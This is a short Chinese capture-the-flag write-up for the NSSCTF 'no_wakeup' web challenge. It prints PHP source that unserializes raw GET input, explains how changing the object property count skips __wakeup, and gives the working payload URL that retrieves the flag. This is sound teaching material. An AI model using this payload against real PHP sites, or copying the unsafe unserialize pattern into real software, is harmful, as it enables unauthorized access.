Featured image of post Nssctf Web No_wakeup Wp

Nssctf Web No_wakeup Wp

字数: 302

点击 ???进入 class.php,泄露了源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
 <?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?>

在本地编辑按 __destruct() 要求实例化一个并序列化得到字符串。

但问题在于 __wakeup() ,当调用 unserialize 时,就会出发类的 __wakeup() 方法,而这个 wakeup 用 sha1 来加密了 passwd 数据成员。

1
2
3
public function __wakeup(){
    $this->passwd = sha1($this->passwd);
}

但我们可以绕过 __wakeup。
php 因为其的容错机制,当序列化的参数不一致时就会跳过初始化逻辑也就是 __wakeup() 方法。

原本的序列化字符串是:

1
O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

把 “HaHaHa” 后面的 2 改成 3 然后传参:

1
http://node4.anna.nssctf.cn:20865/class.php?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

就绕过了 __wakeup,拿到 flag。

注:该漏洞在 PHP 7.0.10+ 已经被修复。